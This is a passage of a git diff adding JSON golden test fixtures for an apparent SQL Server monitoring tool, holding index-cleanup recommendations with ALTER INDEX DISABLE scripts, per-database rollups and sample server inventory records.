+        "TablesAnalyzed": 1,
+        "IndexCount": 4,
+        "TotalSizeGb": 1.18505859375,
+        "TotalRows": 51000,
+        "IndexesToDisable": 1,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 0,
+        "UnusedSizeGb": 0.115234375,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0.115234375,
+        "TotalMaxSavingsGb": 0.115234375,
+        "UserSeeks": 89,
+        "UserScans": 15,
+        "UserLookups": 4,
+        "TotalWrites": 3201,
+        "LockWaitCount": 30,
+        "LockWaitInMs": 110,
+        "LatchWaitCount": 0,
+        "LatchWaitInMs": 0
+      }
+    ],
+    "OverallRollup": {
+      "DatabaseName": null,
+      "DatabaseId": null,
+      "TablesAnalyzed": 2,
+      "IndexCount": 6,
+      "TotalSizeGb": 1.19238281250,
+      "TotalRows": 51900,
+      "IndexesToDisable": 1,
+      "IndexesToMerge": 0,
+      "CompressableIndexes": 0,
+      "UnusedIndexes": 0,
+      "UnusedSizeGb": 0.115234375,
+      "CompressionMinSavingsGb": 0,
+      "CompressionMaxSavingsGb": 0,
+      "TotalMinSavingsGb": 0.115234375,
+      "TotalMaxSavingsGb": 0.115234375,
+      "UserSeeks": 92,
+      "UserScans": 16,
+      "UserLookups": 4,
+      "TotalWrites": 3281,
+      "LockWaitCount": 39,
+      "LockWaitInMs": 143,
+      "LatchWaitCount": 0,
+      "LatchWaitInMs": 0
+    },
+    "UptimeWarning": true,
+    "DedupeOnlyApplied": true,
+    "Notes": [
+      "Reverse Duplicate and Equal Except For Filter indexes are listed as REVIEW rows only and are never disabled for you. An index with the same columns in a different order, or with a different filter, can serve different queries or rows, so check each one by hand.",
+      "Not covered: sp_IndexCleanup also reports a Same Keys Different Order review case. The Reverse Duplicate review rows above cover most of it."
+    ]
+  },
+  "recommendationRows": [
+    {
+      "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+      "DatabaseName": "SalesDb",
+      "SchemaName": "dbo",
+      "TableName": "T100",
+      "IndexName": "IX_Orders_Cust_Dup",
+      "ConsolidationRule": "Exact Duplicate",
+      "ActionDisplay": "DISABLE",
+      "ResultKindDisplay": "DISABLE",
+      "TargetIndexName": "IX_Orders_Cust",
+      "SupersededBy": "",
+      "AdditionalInfo": "This index is an exact duplicate of: IX_Orders_Cust",
+      "IndexSizeGb": 0.115234375,
+      "IndexRows": 51000,
+      "IndexReads": 0,
+      "IndexWrites": 800,
+      "CanCompress": false,
+      "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] ([CustomerId]) INCLUDE ([Total]);",
+      "Script": "ALTER INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] DISABLE;"
+    }
+  ],
+  "rollupRows": [
+    {
+      "CollectionTimeUtc": null,
+      "Scope": "ALL DATABASES",
+      "TablesAnalyzed": 2,
+      "IndexCount": 6,
+      "TotalSizeGb": 1.19238281250,
+      "TotalRows": 51900,
+      "IndexesToDisable": 1,
+      "IndexesToMerge": 0,
+      "CompressableIndexes": 0,
+      "UnusedIndexes": 0,
+      "UnusedSizeGb": 0.115234375,
+      "CompressionMinSavingsGb": 0,
+      "CompressionMaxSavingsGb": 0,
+      "TotalMinSavingsGb": 0.115234375,
+      "TotalMaxSavingsGb": 0.115234375,
+      "ReadsBreakdown": "N/A",
+      "Writes": "N/A",
+      "LockWaitCount": "N/A",
+      "AvgLockWaitMs": "N/A",
+      "LatchWaitCount": "N/A",
+      "AvgLatchWaitMs": "N/A",
+      "WritesSort": -1,
+      "LockWaitCountSort": -1,
+      "AvgLockWaitMsSort": -1,
+      "LatchWaitCountSort": -1,
+      "AvgLatchWaitMsSort": -1
+    },
+    {
+      "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+      "Scope": "OpsDb",
+      "TablesAnalyzed": 1,
+      "IndexCount": 2,
+      "TotalSizeGb": 0.00732421875,
+      "TotalRows": 900,
+      "IndexesToDisable": 0,
+      "IndexesToMerge": 0,
+      "CompressableIndexes": 0,
+      "UnusedIndexes": 0,
+      "UnusedSizeGb": 0,
+      "CompressionMinSavingsGb": 0,
+      "CompressionMaxSavingsGb": 0,
+      "TotalMinSavingsGb": 0,
+      "TotalMaxSavingsGb": 0,
+      "ReadsBreakdown": "4 (3 seeks, 1 scans, 0 lookups)",
+      "Writes": "80",
+      "LockWaitCount": "9",
+      "AvgLockWaitMs": "3.67",
+      "LatchWaitCount": "0",
+      "AvgLatchWaitMs": "0",
+      "WritesSort": 80,
+      "LockWaitCountSort": 9,
+      "AvgLockWaitMsSort": 3.6666666666666666666666666667,
+      "LatchWaitCountSort": 0,
+      "AvgLatchWaitMsSort": 0
+    },
+    {
+      "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+      "Scope": "SalesDb",
+      "TablesAnalyzed": 1,
+      "IndexCount": 4,
+      "TotalSizeGb": 1.18505859375,
+      "TotalRows": 51000,
+      "IndexesToDisable": 1,
+      "IndexesToMerge": 0,
+      "CompressableIndexes": 0,
+      "UnusedIndexes": 0,
+      "UnusedSizeGb": 0.115234375,
+      "CompressionMinSavingsGb": 0,
+      "CompressionMaxSavingsGb": 0,
+      "TotalMinSavingsGb": 0.115234375,
+      "TotalMaxSavingsGb": 0.115234375,
+      "ReadsBreakdown": "108 (89 seeks, 15 scans, 4 lookups)",
+      "Writes": "3,201",
+      "LockWaitCount": "30",
+      "AvgLockWaitMs": "3.67",
+      "LatchWaitCount": "0",
+      "AvgLatchWaitMs": "0",
+      "WritesSort": 3201,
+      "LockWaitCountSort": 30,
+      "AvgLockWaitMsSort": 3.6666666666666666666666666667,
+      "LatchWaitCountSort": 0,
+      "AvgLatchWaitMsSort": 0
+    }
+  ],
+  "rollupRowsNoData": [
+    {
+      "CollectionTimeUtc": null,
+      "Scope": "ALL DATABASES",
+      "TablesAnalyzed": 0,
+      "IndexCount": 0,
+      "TotalSizeGb": 0,
+      "TotalRows": 0,
+      "IndexesToDisable": 0,
+      "IndexesToMerge": 0,
+      "CompressableIndexes": 0,
+      "UnusedIndexes": 0,
+      "UnusedSizeGb": 0,
+      "CompressionMinSavingsGb": 0,
+      "CompressionMaxSavingsGb": 0,
+      "TotalMinSavingsGb": 0,
+      "TotalMaxSavingsGb": 0,
+      "ReadsBreakdown": "N/A",
+      "Writes": "N/A",
+      "LockWaitCount": "N/A",
+      "AvgLockWaitMs": "N/A",
+      "LatchWaitCount": "N/A",
+      "AvgLatchWaitMs": "N/A",
+      "WritesSort": -1,
+      "LockWaitCountSort": -1,
+      "AvgLockWaitMsSort": -1,
+      "LatchWaitCountSort": -1,
+      "AvgLatchWaitMsSort": -1
+    }
+  ],
+  "longUptime": {
+    "inputs": [
+      {
+        "DatabaseName": "SalesDb",
+        "DatabaseId": 1,
+        "SchemaName": "dbo",
+        "ObjectId": 100,
+        "TableName": "T100",
+        "IndexId": 1,
+        "IndexName": "PK_Orders",
+        "IndexTypeDesc": "CLUSTERED",
+        "KeyColumns": "[OrderId]",
+        "IncludedColumns": null,
+        "FilterDefinition": null,
+        "IsUnique": true,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": true,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 12,
+        "UserScans": 6,
+        "UserLookups": 1,
+        "UserUpdates": 800,
+        "RowLockWaitCount": 3,
+        "RowLockWaitInMs": 11,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 910.50,
+        "TotalRows": 51000,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      },
+      {
+        "DatabaseName": "SalesDb",
+        "DatabaseId": 1,
+        "SchemaName": "dbo",
+        "ObjectId": 100,
+        "TableName": "T100",
+        "IndexId": 2,
+        "IndexName": "IX_Orders_Cust",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "KeyColumns": "[CustomerId]",
+        "IncludedColumns": "[Total]",
+        "FilterDefinition": null,
+        "IsUnique": false,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": false,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 400,
+        "UserScans": 20,
+        "UserLookups": 0,
+        "UserUpdates": 800,
+        "RowLockWaitCount": 6,
+        "RowLockWaitInMs": 22,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 120.25,
+        "TotalRows": 51000,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      },
+      {
+        "DatabaseName": "SalesDb",
+        "DatabaseId": 1,
+        "SchemaName": "dbo",
+        "ObjectId": 100,
+        "TableName": "T100",
+        "IndexId": 3,
+        "IndexName": "IX_Orders_Cust_Dup",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "KeyColumns": "[CustomerId]",
+        "IncludedColumns": "[Total]",
+        "FilterDefinition": null,
+        "IsUnique": false,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": false,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 0,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "UserUpdates": 800,
+        "RowLockWaitCount": 9,
+        "RowLockWaitInMs": 33,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 118.00,
+        "TotalRows": 51000,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      },
+      {
+        "DatabaseName": "SalesDb",
+        "DatabaseId": 1,
+        "SchemaName": "dbo",
+        "ObjectId": 100,
+        "TableName": "T100",
+        "IndexId": 4,
+        "IndexName": "IX_Orders_Unused",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "KeyColumns": "[ShipDate]",
+        "IncludedColumns": null,
+        "FilterDefinition": null,
+        "IsUnique": false,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": false,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 0,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "UserUpdates": 800,
+        "RowLockWaitCount": 12,
+        "RowLockWaitInMs": 44,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 64.00,
+        "TotalRows": 51000,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      },
+      {
+        "DatabaseName": "OpsDb",
+        "DatabaseId": 2,
+        "SchemaName": "dbo",
+        "ObjectId": 200,
+        "TableName": "T200",
+        "IndexId": 1,
+        "IndexName": "PK_Jobs",
+        "IndexTypeDesc": "CLUSTERED",
+        "KeyColumns": "[JobId]",
+        "IncludedColumns": null,
+        "FilterDefinition": null,
+        "IsUnique": true,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": true,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 3,
+        "UserScans": 1,
+        "UserLookups": 0,
+        "UserUpdates": 40,
+        "RowLockWaitCount": 3,
+        "RowLockWaitInMs": 11,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 5.00,
+        "TotalRows": 900,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      },
+      {
+        "DatabaseName": "OpsDb",
+        "DatabaseId": 2,
+        "SchemaName": "dbo",
+        "ObjectId": 200,
+        "TableName": "T200",
+        "IndexId": 2,
+        "IndexName": "IX_Jobs_State",
+        "IndexTypeDesc": "NONCLUSTERED",
+        "KeyColumns": "[State]",
+        "IncludedColumns": "[Owner]",
+        "FilterDefinition": null,
+        "IsUnique": false,
+        "IsUniqueConstraint": false,
+        "IsPrimaryKey": false,
+        "IsForeignKey": false,
+        "IsForeignKeyReference": false,
+        "IsDisabled": false,
+        "IsIndexedView": false,
+        "DataCompressionDesc": null,
+        "OptimizeForSequentialKey": false,
+        "FillFactor": null,
+        "IsPadded": false,
+        "AllowPageLocks": false,
+        "AllowRowLocks": false,
+        "UserSeeks": 0,
+        "UserScans": 0,
+        "UserLookups": 0,
+        "UserUpdates": 40,
+        "RowLockWaitCount": 6,
+        "RowLockWaitInMs": 22,
+        "PageLockWaitCount": 0,
+        "PageLockWaitInMs": 0,
+        "PageLatchWaitCount": 0,
+        "PageLatchWaitInMs": 0,
+        "PageIoLatchWaitCount": 0,
+        "PageIoLatchWaitInMs": 0,
+        "ReservedMb": 2.50,
+        "TotalRows": 900,
+        "PartitionCount": 1,
+        "SqlServerStartTime": "anchor-401d[Unspecified]"
+      }
+    ],
+    "options": {
+      "DedupeOnly": false,
+      "MinSizeGb": 0,
+      "MinReads": 0,
+      "MinWrites": 0,
+      "MinRows": 0,
+      "ServerUptimeDays": 400,
+      "ReferenceTimeUtc": null,
+      "ServerSupportsCompression": true,
+      "ServerSupportsOnline": false,
+      "CompressionMinSavingsFactor": 0.20,
+      "CompressionMaxSavingsFactor": 0.60
+    },
+    "analysis": {
+      "Recommendations": [
+        {
+          "DatabaseName": "OpsDb",
+          "SchemaName": "dbo",
+          "TableName": "T200",
+          "IndexName": "IX_Jobs_State",
+          "IndexId": 2,
+          "ConsolidationRule": "Unused Index",
+          "Action": "Disable",
+          "ResultKind": "Disable",
+          "TargetIndexName": null,
+          "SupersededBy": null,
+          "MissingIncludedColumns": null,
+          "ScriptType": "DISABLE SCRIPT",
+          "Script": "ALTER INDEX [IX_Jobs_State] ON [OpsDb].[dbo].[T200] DISABLE;",
+          "AdditionalInfo": "Unused Index",
+          "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Jobs_State] ON [OpsDb].[dbo].[T200] ([State]) INCLUDE ([Owner]);",
+          "IndexSizeGb": 0.00244140625,
+          "IndexRows": 900,
+          "IndexReads": 0,
+          "IndexWrites": 40,
+          "CanCompress": false,
+          "IsForeignKey": false,
+          "ScriptOmitsPartitionPlacement": false
+        },
+        {
+          "DatabaseName": "SalesDb",
+          "SchemaName": "dbo",
+          "TableName": "T100",
+          "IndexName": "IX_Orders_Cust_Dup",
+          "IndexId": 3,
+          "ConsolidationRule": "Unused Index",
+          "Action": "Disable",
+          "ResultKind": "Disable",
+          "TargetIndexName": null,
+          "SupersededBy": null,
+          "MissingIncludedColumns": null,
+          "ScriptType": "DISABLE SCRIPT",
+          "Script": "ALTER INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] DISABLE;",
+          "AdditionalInfo": "Unused Index",
+          "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] ([CustomerId]) INCLUDE ([Total]);",
+          "IndexSizeGb": 0.115234375,
+          "IndexRows": 51000,
+          "IndexReads": 0,
+          "IndexWrites": 800,
+          "CanCompress": false,
+          "IsForeignKey": false,
+          "ScriptOmitsPartitionPlacement": false
+        },
+        {
+          "DatabaseName": "SalesDb",
+          "SchemaName": "dbo",
+          "TableName": "T100",
+          "IndexName": "IX_Orders_Unused",
+          "IndexId": 4,
+          "ConsolidationRule": "Unused Index",
+          "Action": "Disable",
+          "ResultKind": "Disable",
+          "TargetIndexName": null,
+          "SupersededBy": null,
+          "MissingIncludedColumns": null,
+          "ScriptType": "DISABLE SCRIPT",
+          "Script": "ALTER INDEX [IX_Orders_Unused] ON [SalesDb].[dbo].[T100] DISABLE;",
+          "AdditionalInfo": "Unused Index",
+          "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Unused] ON [SalesDb].[dbo].[T100] ([ShipDate]);",
+          "IndexSizeGb": 0.0625,
+          "IndexRows": 51000,
+          "IndexReads": 0,
+          "IndexWrites": 800,
+          "CanCompress": false,
+          "IsForeignKey": false,
+          "ScriptOmitsPartitionPlacement": false
+        }
+      ],
+      "DatabaseRollups": [
+        {
+          "DatabaseName": "OpsDb",
+          "DatabaseId": 2,
+          "TablesAnalyzed": 1,
+          "IndexCount": 2,
+          "TotalSizeGb": 0.00732421875,
+          "TotalRows": 900,
+          "IndexesToDisable": 1,
+          "IndexesToMerge": 0,
+          "CompressableIndexes": 0,
+          "UnusedIndexes": 1,
+          "UnusedSizeGb": 0.00244140625,
+          "CompressionMinSavingsGb": 0,
+          "CompressionMaxSavingsGb": 0,
+          "TotalMinSavingsGb": 0.00244140625,
+          "TotalMaxSavingsGb": 0.00244140625,
+          "UserSeeks": 3,
+          "UserScans": 1,
+          "UserLookups": 0,
+          "TotalWrites": 80,
+          "LockWaitCount": 9,
+          "LockWaitInMs": 33,
+          "LatchWaitCount": 0,
+          "LatchWaitInMs": 0
+        },
+        {
+          "DatabaseName": "SalesDb",
+          "DatabaseId": 1,
+          "TablesAnalyzed": 1,
+          "IndexCount": 4,
+          "TotalSizeGb": 1.184326171875,
+          "TotalRows": 51000,
+          "IndexesToDisable": 2,
+          "IndexesToMerge": 0,
+          "CompressableIndexes": 0,
+          "UnusedIndexes": 2,
+          "UnusedSizeGb": 0.177734375,
+          "CompressionMinSavingsGb": 0,
+          "CompressionMaxSavingsGb": 0,
+          "TotalMinSavingsGb": 0.177734375,
+          "TotalMaxSavingsGb": 0.177734375,
+          "UserSeeks": 412,
+          "UserScans": 26,
+          "UserLookups": 1,
+          "TotalWrites": 3200,
+          "LockWaitCount": 30,
+          "LockWaitInMs": 110,
+          "LatchWaitCount": 0,
+          "LatchWaitInMs": 0
+        }
+      ],
+      "OverallRollup": {
+        "DatabaseName": null,
+        "DatabaseId": null,
+        "TablesAnalyzed": 2,
+        "IndexCount": 6,
+        "TotalSizeGb": 1.191650390625,
+        "TotalRows": 51900,
+        "IndexesToDisable": 3,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 3,
+        "UnusedSizeGb": 0.18017578125,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0.18017578125,
+        "TotalMaxSavingsGb": 0.18017578125,
+        "UserSeeks": 415,
+        "UserScans": 27,
+        "UserLookups": 1,
+        "TotalWrites": 3280,
+        "LockWaitCount": 39,
+        "LockWaitInMs": 143,
+        "LatchWaitCount": 0,
+        "LatchWaitInMs": 0
+      },
+      "UptimeWarning": false,
+      "DedupeOnlyApplied": false,
+      "Notes": [
+        "Reverse Duplicate and Equal Except For Filter indexes are listed as REVIEW rows only and are never disabled for you. An index with the same columns in a different order, or with a different filter, can serve different queries or rows, so check each one by hand.",
+        "Not covered: sp_IndexCleanup also reports a Same Keys Different Order review case. The Reverse Duplicate review rows above cover most of it."
+      ]
+    },
+    "recommendationRows": [
+      {
+        "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+        "DatabaseName": "OpsDb",
+        "SchemaName": "dbo",
+        "TableName": "T200",
+        "IndexName": "IX_Jobs_State",
+        "ConsolidationRule": "Unused Index",
+        "ActionDisplay": "DISABLE",
+        "ResultKindDisplay": "DISABLE",
+        "TargetIndexName": "",
+        "SupersededBy": "",
+        "AdditionalInfo": "Unused Index",
+        "IndexSizeGb": 0.00244140625,
+        "IndexRows": 900,
+        "IndexReads": 0,
+        "IndexWrites": 40,
+        "CanCompress": false,
+        "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Jobs_State] ON [OpsDb].[dbo].[T200] ([State]) INCLUDE ([Owner]);",
+        "Script": "ALTER INDEX [IX_Jobs_State] ON [OpsDb].[dbo].[T200] DISABLE;"
+      },
+      {
+        "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+        "DatabaseName": "SalesDb",
+        "SchemaName": "dbo",
+        "TableName": "T100",
+        "IndexName": "IX_Orders_Cust_Dup",
+        "ConsolidationRule": "Unused Index",
+        "ActionDisplay": "DISABLE",
+        "ResultKindDisplay": "DISABLE",
+        "TargetIndexName": "",
+        "SupersededBy": "",
+        "AdditionalInfo": "Unused Index",
+        "IndexSizeGb": 0.115234375,
+        "IndexRows": 51000,
+        "IndexReads": 0,
+        "IndexWrites": 800,
+        "CanCompress": false,
+        "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] ([CustomerId]) INCLUDE ([Total]);",
+        "Script": "ALTER INDEX [IX_Orders_Cust_Dup] ON [SalesDb].[dbo].[T100] DISABLE;"
+      },
+      {
+        "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+        "DatabaseName": "SalesDb",
+        "SchemaName": "dbo",
+        "TableName": "T100",
+        "IndexName": "IX_Orders_Unused",
+        "ConsolidationRule": "Unused Index",
+        "ActionDisplay": "DISABLE",
+        "ResultKindDisplay": "DISABLE",
+        "TargetIndexName": "",
+        "SupersededBy": "",
+        "AdditionalInfo": "Unused Index",
+        "IndexSizeGb": 0.0625,
+        "IndexRows": 51000,
+        "IndexReads": 0,
+        "IndexWrites": 800,
+        "CanCompress": false,
+        "OriginalIndexDefinition": "CREATE NONCLUSTERED INDEX [IX_Orders_Unused] ON [SalesDb].[dbo].[T100] ([ShipDate]);",
+        "Script": "ALTER INDEX [IX_Orders_Unused] ON [SalesDb].[dbo].[T100] DISABLE;"
+      }
+    ],
+    "rollupRows": [
+      {
+        "CollectionTimeUtc": null,
+        "Scope": "ALL DATABASES",
+        "TablesAnalyzed": 2,
+        "IndexCount": 6,
+        "TotalSizeGb": 1.191650390625,
+        "TotalRows": 51900,
+        "IndexesToDisable": 3,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 3,
+        "UnusedSizeGb": 0.18017578125,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0.18017578125,
+        "TotalMaxSavingsGb": 0.18017578125,
+        "ReadsBreakdown": "N/A",
+        "Writes": "N/A",
+        "LockWaitCount": "N/A",
+        "AvgLockWaitMs": "N/A",
+        "LatchWaitCount": "N/A",
+        "AvgLatchWaitMs": "N/A",
+        "WritesSort": -1,
+        "LockWaitCountSort": -1,
+        "AvgLockWaitMsSort": -1,
+        "LatchWaitCountSort": -1,
+        "AvgLatchWaitMsSort": -1
+      },
+      {
+        "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+        "Scope": "OpsDb",
+        "TablesAnalyzed": 1,
+        "IndexCount": 2,
+        "TotalSizeGb": 0.00732421875,
+        "TotalRows": 900,
+        "IndexesToDisable": 1,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 1,
+        "UnusedSizeGb": 0.00244140625,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0.00244140625,
+        "TotalMaxSavingsGb": 0.00244140625,
+        "ReadsBreakdown": "4 (3 seeks, 1 scans, 0 lookups)",
+        "Writes": "80",
+        "LockWaitCount": "9",
+        "AvgLockWaitMs": "3.67",
+        "LatchWaitCount": "0",
+        "AvgLatchWaitMs": "0",
+        "WritesSort": 80,
+        "LockWaitCountSort": 9,
+        "AvgLockWaitMsSort": 3.6666666666666666666666666667,
+        "LatchWaitCountSort": 0,
+        "AvgLatchWaitMsSort": 0
+      },
+      {
+        "CollectionTimeUtc": "anchor-0.9167d[Utc]",
+        "Scope": "SalesDb",
+        "TablesAnalyzed": 1,
+        "IndexCount": 4,
+        "TotalSizeGb": 1.184326171875,
+        "TotalRows": 51000,
+        "IndexesToDisable": 2,
+        "IndexesToMerge": 0,
+        "CompressableIndexes": 0,
+        "UnusedIndexes": 2,
+        "UnusedSizeGb": 0.177734375,
+        "CompressionMinSavingsGb": 0,
+        "CompressionMaxSavingsGb": 0,
+        "TotalMinSavingsGb": 0.177734375,
+        "TotalMaxSavingsGb": 0.177734375,
+        "ReadsBreakdown": "439 (412 seeks, 26 scans, 1 lookups)",
+        "Writes": "3,200",
+        "LockWaitCount": "30",
+        "AvgLockWaitMs": "3.67",
+        "LatchWaitCount": "0",
+        "AvgLatchWaitMs": "0",
+        "WritesSort": 3200,
+        "LockWaitCountSort": 30,
+        "AvgLockWaitMsSort": 3.6666666666666666666666666667,
+        "LatchWaitCountSort": 0,
+        "AvgLatchWaitMsSort": 0
+      }
+    ]
+  }
+}
diff --git a/Darling/Darling.Tests/Fixtures/FinOpsInventory/golden.json b/Darling/Darling.Tests/Fixtures/FinOpsInventory/golden.json
new file mode 100644
index 0000000000..c2d9a07b19
--- /dev/null
+++ b/Darling/Darling.Tests/Fixtures/FinOpsInventory/golden.json
@@ -0,0 +1,150 @@
+{
+  "serverMetrics": [
+    {
+      "Server": "darling-finops-inv-golden-a",
+      "Metrics": {
+        "AvgCpuPct": 38.7500000000000000,
+        "StorageTotalGb": 3.0488281250000000,
+        "IdleDbCount": 1,
+        "ProvisioningStatus": "UNDER_PROVISIONED",
+        "HealthScore": 27
+      }
+    },
+    {
+      "Server": "darling-finops-inv-golden-b",
+      "Metrics": {
+        "AvgCpuPct": null,
+        "StorageTotalGb": null,
+        "IdleDbCount": null,
+        "ProvisioningStatus": null,
+        "HealthScore": null
+      }
+    },
+    {
+      "Server": "darling-finops-inv-golden-c",
+      "Metrics": {
+        "AvgCpuPct": 7.0000000000000000,
+        "StorageTotalGb": null,
+        "IdleDbCount": null,
+        "ProvisioningStatus": "OVER_PROVISIONED",
+        "HealthScore": 86
+      }
+    },
+    {
+      "Server": "darling-finops-inv-golden-d",
+      "Metrics": {
+        "AvgCpuPct": 10.3333333333333333,
+        "StorageTotalGb": 0.50000000000000000000,
+        "IdleDbCount": 0,
+        "ProvisioningStatus": "OVER_PROVISIONED",
+        "HealthScore": null
+      }
+    }
+  ],
+  "serverInventory": [
+    {
+      "ServerId": 713491758,
+      "ServerName": "darling-finops-inv-golden-a",
+      "Edition": "Enterprise Edition",
+      "ProductVersion": "16.0.4100.1 - CU9",
+      "HostOsVersion": "Windows Server 2022",
+      "EngineEdition": 3,
+      "CpuCount": 8,
+      "PhysicalMemoryMb": 65536,
+      "SocketCount": 2,
+      "CoresPerSocket": 4,
+      "SqlServerStartTime": "anchor-2.7083d",
+      "InventoryAsOfUtc": "anchor-0.875d",
+      "LastCollectedUtc": "anchor-0.2083d",
+      "IsHadrEnabled": true,
+      "IsClustered": false,
+      "AgReplicaRole": "PRIMARY",
+      "IsEnabled": true,
+      "AvgCpuPct": null,
+      "StorageTotalGb": null,
+      "IdleDbCount": null,
+      "ProvisioningStatus": null,
+      "HardwareUnavailableReason": null,
+      "MonthlyCost": 1234.5,
+      "HealthScore": null
+    },
+    {
+      "ServerId": 679936520,
+      "ServerName": "darling-finops-inv-golden-c",
+      "Edition": "Standard Edition",
+      "ProductVersion": "14.0.1000.169 - SP1",
+      "HostOsVersion": "",
+      "EngineEdition": 2,
+      "CpuCount": 0,
+      "PhysicalMemoryMb": 0,
+      "SocketCount": null,
+      "CoresPerSocket": null,
+      "SqlServerStartTime": null,
+      "InventoryAsOfUtc": "anchor-4d",
+      "LastCollectedUtc": null,
+      "IsHadrEnabled": null,
+      "IsClustered": null,
+      "AgReplicaRole": "Standalone",
+      "IsEnabled": true,
+      "AvgCpuPct": null,
+      "StorageTotalGb": null,
+      "IdleDbCount": null,
+      "ProvisioningStatus": null,
+      "HardwareUnavailableReason": "Hardware inventory (CPU, memory, sockets) unavailable - the monitoring login likely lacks VIEW SERVER STATE (VIEW DATABASE STATE on Azure SQL DB) on this server.",
+      "MonthlyCost": 0,
+      "HealthScore": null
+    },
+    {
+      "ServerId": 797379853,
+      "ServerName": "darling-finops-inv-golden-d",
+      "Edition": "Standard Edition",
+      "ProductVersion": "15.0.4000.1 - RTM",
+      "HostOsVersion": "",
+      "EngineEdition": 2,
+      "CpuCount": 4,
+      "PhysicalMemoryMb": 16384,
+      "SocketCount": 1,
+      "CoresPerSocket": 4,
+      "SqlServerStartTime": null,
